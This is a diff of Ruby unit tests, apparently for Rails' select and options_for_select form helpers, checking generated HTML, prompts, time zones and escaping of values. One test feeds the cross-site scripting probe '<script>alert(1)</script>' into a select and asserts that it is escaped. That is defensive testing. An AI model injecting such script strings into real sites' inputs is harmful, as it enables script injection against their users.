+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_fields_for_with_record_inherited_from_hash
+    map = Map.new
+
+    output_buffer = fields_for :map, map do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_index
+    @post = Post.new
+    @post.category = "<mus>"
+
+    output_buffer = fields_for :post, @post, index: 108 do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.category = "<mus>"
+    def @post.to_param; 108; end
+
+    output_buffer = fields_for "post[]", @post do |f|
+      concat f.select(:category, %w( abe <mus> hest))
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_string_and_given_prompt
+    @post = Post.new
+    options = raw("<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>")
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.select(:category, options, prompt: "The prompt")
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n#{options}</select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_block
+    @post = Post.new
+
+    output_buffer = fields_for :post, @post do |f|
+      concat(f.select(:category) do
+        concat content_tag(:option, "hello world")
+      end)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option>hello world</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_under_fields_for_with_block_without_options
+    @post = Post.new
+
+    output_buffer = fields_for :post, @post do |f|
+      concat(f.select(:category) {})
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_to_add_hidden_input
+    output_buffer = select(:post, :category, "", {}, multiple: true)
+    assert_dom_equal(
+      "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_without_hidden_input
+    output_buffer = select(:post, :category, "", { include_hidden: false }, multiple: true)
+    assert_dom_equal(
+      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_with_explicit_name_ending_with_brackets
+    output_buffer = select(:post, :category, [], { include_hidden: false }, multiple: true, name: "post[category][]")
+    assert_dom_equal(
+      "<select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input
+    output_buffer = select(:post, :category, "", {}, multiple: true, disabled: true)
+    assert_dom_equal(
+      "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>",
+      output_buffer
+    )
+  end
+
+  def test_select_with_blank
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), include_blank: true)
+    )
+  end
+
+  def test_select_with_include_blank_false_and_required
+    @post = Post.new
+    @post.category = "<mus>"
+    e = assert_raises(ArgumentError) { select("post", "category", %w( abe <mus> hest), { include_blank: false }, required: "required") }
+    assert_match(/include_blank cannot be false for a required field./, e.message)
+  end
+
+  def test_select_with_blank_as_string
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">None</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), include_blank: "None")
+    )
+  end
+
+  def test_select_with_blank_as_string_escaped
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;None&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), include_blank: "<None>")
+    )
+  end
+
+  def test_select_with_default_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), prompt: true)
+    )
+  end
+
+  def test_select_no_prompt_when_select_has_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), prompt: true)
+    )
+  end
+
+  def test_select_with_given_prompt
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">The prompt</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), prompt: "The prompt")
+    )
+  end
+
+  def test_select_with_given_prompt_escaped
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">&lt;The prompt&gt;</option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), prompt: "<The prompt>")
+    )
+  end
+
+  def test_select_with_prompt_and_blank
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest), prompt: true, include_blank: true)
+    )
+  end
+
+  def test_select_with_empty
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+      select("post", "category", [], prompt: true, include_blank: true)
+    )
+  end
+
+  def test_select_with_html_options
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select class=\"disabled\" disabled=\"disabled\" name=\"post[category]\" id=\"post_category\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+      select("post", "category", [], { prompt: true, include_blank: true }, class: "disabled", disabled: true)
+    )
+  end
+
+  def test_select_with_nil
+    @post = Post.new
+    @post.category = "othervalue"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\"></option>\n<option value=\"othervalue\" selected=\"selected\">othervalue</option></select>",
+      select("post", "category", [nil, "othervalue"])
+    )
+  end
+
+  def test_required_select
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true)
+    )
+  end
+
+  def test_required_select_with_include_blank_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { include_blank: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_with_prompt
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required"><option value="">Select one</option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), { prompt: "Select one" }, required: true)
+    )
+  end
+
+  def test_required_select_display_size_equals_to_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="1"><option value=""></option>\n<option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 1)
+    )
+  end
+
+  def test_required_select_with_display_size_bigger_than_one
+    assert_dom_equal(
+      %(<select id="post_category" name="post[category]" required="required" size="2"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, size: 2)
+    )
+  end
+
+  def test_required_select_with_multiple_option
+    assert_dom_equal(
+      %(<input name="post[category][]" type="hidden" value=""/><select id="post_category" multiple="multiple" name="post[category][]" required="required"><option value="abe">abe</option>\n<option value="mus">mus</option>\n<option value="hest">hest</option></select>),
+      select("post", "category", %w(abe mus hest), {}, required: true, multiple: true)
+    )
+  end
+
+  def test_select_with_integer
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"1\">1</option></select>",
+      select("post", "category", [1], prompt: true, include_blank: true)
+    )
+  end
+
+  def test_list_of_lists
+    @post = Post.new
+    @post.category = ""
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+      select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], prompt: true, include_blank: true)
+    )
+  end
+
+  def test_select_with_selected_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" selected=\"selected\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), selected: "abe")
+    )
+  end
+
+  def test_select_with_index_option
+    @album = Album.new
+    @album.id = 1
+
+    expected = "<select id=\"album__genre\" name=\"album[][genre]\"><option value=\"rap\">rap</option>\n<option value=\"rock\">rock</option>\n<option value=\"country\">country</option></select>"
+
+    assert_dom_equal(
+      expected,
+      select("album[]", "genre", %w[rap rock country], {}, index: nil)
+    )
+  end
+
+  def test_select_escapes_options
+    assert_dom_equal(
+      '<select id="post_title" name="post[title]">&lt;script&gt;alert(1)&lt;/script&gt;</select>',
+      select("post", "title", "<script>alert(1)</script>")
+    )
+  end
+
+  def test_select_with_selected_nil
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), selected: nil)
+    )
+  end
+
+  def test_select_with_disabled_value
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), disabled: "hest")
+    )
+  end
+
+  def test_select_not_existing_method_with_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_locale\" name=\"post[locale]\"><option value=\"en\">en</option>\n<option value=\"ru\" selected=\"selected\">ru</option></select>",
+      select("post", "locale", %w( en ru ), selected: "ru")
+    )
+  end
+
+  def test_select_with_prompt_and_selected_value
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option selected=\"selected\" value=\"two\">two</option></select>",
+      select("post", "category", %w( one two ), selected: "two", prompt: true)
+    )
+  end
+
+  def test_select_with_disabled_array
+    @post = Post.new
+    @post.category = "<mus>"
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\" disabled=\"disabled\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\" disabled=\"disabled\">hest</option></select>",
+      select("post", "category", %w( abe <mus> hest ), disabled: ["hest", "abe"])
+    )
+  end
+
+  def test_select_with_range
+    @post = Post.new
+    @post.category = 0
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option></select>",
+      select("post", "category", 1..3)
+    )
+  end
+
+  def test_select_with_enumerable
+    @post = Post.new
+    assert_dom_equal(
+      "<select id=\"post_category\" name=\"post[category]\"><option value=\"one\">one</option>\n<option value=\"two\">two</option></select>",
+      select("post", "category", CustomEnumerable.new)
+    )
+  end
+
+  def test_collection_select
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name")
+    )
+  end
+
+  def test_collection_select_under_fields_for
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    output_buffer = fields_for :post, @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_index
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    output_buffer = fields_for :post, @post, index: 815 do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_under_fields_for_with_auto_index
+    @post = Post.new
+    @post.author_name = "Babe"
+    def @post.to_param; 815; end
+
+    output_buffer = fields_for "post[]", @post do |f|
+      concat f.collection_select(:author_name, dummy_posts, :author_name, :author_name)
+    end
+
+    assert_dom_equal(
+      "<select id=\"post_815_author_name\" name=\"post[815][author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      output_buffer
+    )
+  end
+
+  def test_collection_select_with_blank_and_style
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_blank_as_string_and_style
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\" style=\"width: 200px\"><option value=\"\">No Selection</option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: "No Selection" }, "style" => "width: 200px")
+    )
+  end
+
+  def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>"
+
+    # Should suffix default name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true }, multiple: true)
+
+    # Shouldn't suffix custom name with [].
+    assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { include_blank: true, name: "post[author_name][]" }, multiple: true)
+  end
+
+  def test_collection_select_with_blank_and_selected
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      %{<select id="post_author_name" name="post[author_name]"><option value=""></option>\n<option value="&lt;Abe&gt;" selected="selected">&lt;Abe&gt;</option>\n<option value="Babe">Babe</option>\n<option value="Cabe">Cabe</option></select>},
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", include_blank: true, selected: "<Abe>")
+    )
+  end
+
+  def test_collection_select_with_disabled
+    @post = Post.new
+    @post.author_name = "Babe"
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt;</option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", "author_name", disabled: "Cabe")
+    )
+  end
+
+  def test_collection_select_with_proc_for_value_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_select_with_proc_for_text_method
+    @post = Post.new
+
+    assert_dom_equal(
+      "<select id=\"post_author_name\" name=\"post[author_name]\"><option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option></select>",
+      collection_select("post", "author_name", dummy_posts, "author_name", lambda { |p| p.title })
+    )
+  end
+
+  def test_time_zone_select
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_under_fields_for
+    @firm = Firm.new("D")
+
+    output_buffer = fields_for :firm, @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+      "<option value=\"A\">A</option>\n" \
+      "<option value=\"B\">B</option>\n" \
+      "<option value=\"C\">C</option>\n" \
+      "<option value=\"D\" selected=\"selected\">D</option>\n" \
+      "<option value=\"E\">E</option>" \
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_index
+    @firm = Firm.new("D")
+
+    output_buffer = fields_for :firm, @firm, index: 305 do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" \
+      "<option value=\"A\">A</option>\n" \
+      "<option value=\"B\">B</option>\n" \
+      "<option value=\"C\">C</option>\n" \
+      "<option value=\"D\" selected=\"selected\">D</option>\n" \
+      "<option value=\"E\">E</option>" \
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_under_fields_for_with_auto_index
+    @firm = Firm.new("D")
+    def @firm.to_param; 305; end
+
+    output_buffer = fields_for "firm[]", @firm do |f|
+      concat f.time_zone_select(:time_zone)
+    end
+
+    assert_dom_equal(
+      "<select id=\"firm_305_time_zone\" name=\"firm[305][time_zone]\">" \
+      "<option value=\"A\">A</option>\n" \
+      "<option value=\"B\">B</option>\n" \
+      "<option value=\"C\">C</option>\n" \
+      "<option value=\"D\" selected=\"selected\">D</option>\n" \
+      "<option value=\"E\">E</option>" \
+      "</select>",
+      output_buffer
+    )
+  end
+
+  def test_time_zone_select_with_blank
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, include_blank: true)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"\"></option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_blank_as_string
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, include_blank: "No Zone")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"\">No Zone</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil, {},
+      "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil, {},
+      style: "color: red")
+  end
+
+  def test_time_zone_select_with_blank_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { include_blank: true }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
+                 "<option value=\"\"></option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { include_blank: true }, style: "color: red")
+  end
+
+  def test_time_zone_select_with_blank_as_string_and_style
+    @firm = Firm.new("D")
+    html = time_zone_select("firm", "time_zone", nil,
+      { include_blank: "No Zone" }, "style" => "color: red")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\" style=\"color: red\">" \
+                 "<option value=\"\">No Zone</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+    assert_dom_equal html, time_zone_select("firm", "time_zone", nil,
+      { include_blank: "No Zone" }, style: "color: red")
+  end
+
+  def test_time_zone_select_with_priority_zones
+    @firm = Firm.new("D")
+    zones = [ ActiveSupport::TimeZone.new("A"), ActiveSupport::TimeZone.new("D") ]
+    html = time_zone_select("firm", "time_zone", zones)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_priority_zones_as_regexp
+    @firm = Firm.new("D")
+
+    @fake_timezones.each do |tz|
+      def tz.=~(re); %(A D).include?(name) end
+    end
+
+    html = time_zone_select("firm", "time_zone", /A|D/)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_priority_zones_is_not_implemented_with_grep
+    @firm = Firm.new("D")
+
+    # `time_zone_select` can't be written with `grep` because Active Support
+    # time zones don't support implicit string coercion with `to_str`.
+    @fake_timezones.each do |tz|
+      def tz.===(zone); raise Exception; end
+    end
+
+    html = time_zone_select("firm", "time_zone", /A|D/)
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                 "<option value=\"\" disabled=\"disabled\">-------------</option>\n" \
+                 "<option value=\"A\">A</option>\n" \
+                 "<option value=\"B\">B</option>\n" \
+                 "<option value=\"C\">C</option>\n" \
+                 "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                 "<option value=\"E\">E</option>" \
+                 "</select>",
+                 html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_nil_value
+    @firm = Firm.new()
+    @firm.time_zone = nil
+
+    html = time_zone_select("firm", "time_zone", nil, default: "B")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                  "<option value=\"A\">A</option>\n" \
+                  "<option value=\"B\" selected=\"selected\">B</option>\n" \
+                  "<option value=\"C\">C</option>\n" \
+                  "<option value=\"D\">D</option>\n" \
+                  "<option value=\"E\">E</option>" \
+                  "</select>",
+                  html
+  end
+
+  def test_time_zone_select_with_default_time_zone_and_value
+    @firm = Firm.new("D")
+
+    html = time_zone_select("firm", "time_zone", nil, default: "B")
+    assert_dom_equal "<select id=\"firm_time_zone\" name=\"firm[time_zone]\">" \
+                  "<option value=\"A\">A</option>\n" \
+                  "<option value=\"B\">B</option>\n" \
+                  "<option value=\"C\">C</option>\n" \
+                  "<option value=\"D\" selected=\"selected\">D</option>\n" \
+                  "<option value=\"E\">E</option>" \
+                  "</select>",
+                  html
+  end
+
+  def test_options_for_select_with_element_attributes
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" class=\"bold\">&lt;Denmark&gt;</option>\n<option value=\"USA\" onclick=\"alert(&#39;Hello World&#39;);\">USA</option>\n<option value=\"Sweden\">Sweden</option>\n<option value=\"Germany\">Germany</option>",
+      options_for_select([ [ "<Denmark>", { class: "bold" } ], [ "USA", { onclick: "alert('Hello World');" } ], [ "Sweden" ], "Germany" ])
+    )
+  end
+
+  def test_options_for_select_with_data_element
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" data-test=\"bold\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { data: { test: "bold" } } ] ])
+    )
+  end
+
+  def test_options_for_select_with_data_element_with_special_characters
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\" data-test=\"&lt;bold&gt;\">&lt;Denmark&gt;</option>",
+      options_for_select([ [ "<Denmark>", { data: { test: "<bold>" } } ] ])
+    )
+  end
+
+  def test_options_for_select_with_element_attributes_and_selection
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "<Denmark>", [ "USA", { class: "bold" } ], "Sweden" ], "USA")
+    )
+  end
+
+  def test_options_for_select_with_element_attributes_and_selection_array
+    assert_dom_equal(
+      "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\" class=\"bold\" selected=\"selected\">USA</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+      options_for_select([ "<Denmark>", [ "USA", { class: "bold" } ], "Sweden" ], [ "USA", "Sweden" ])
+    )
+  end
+
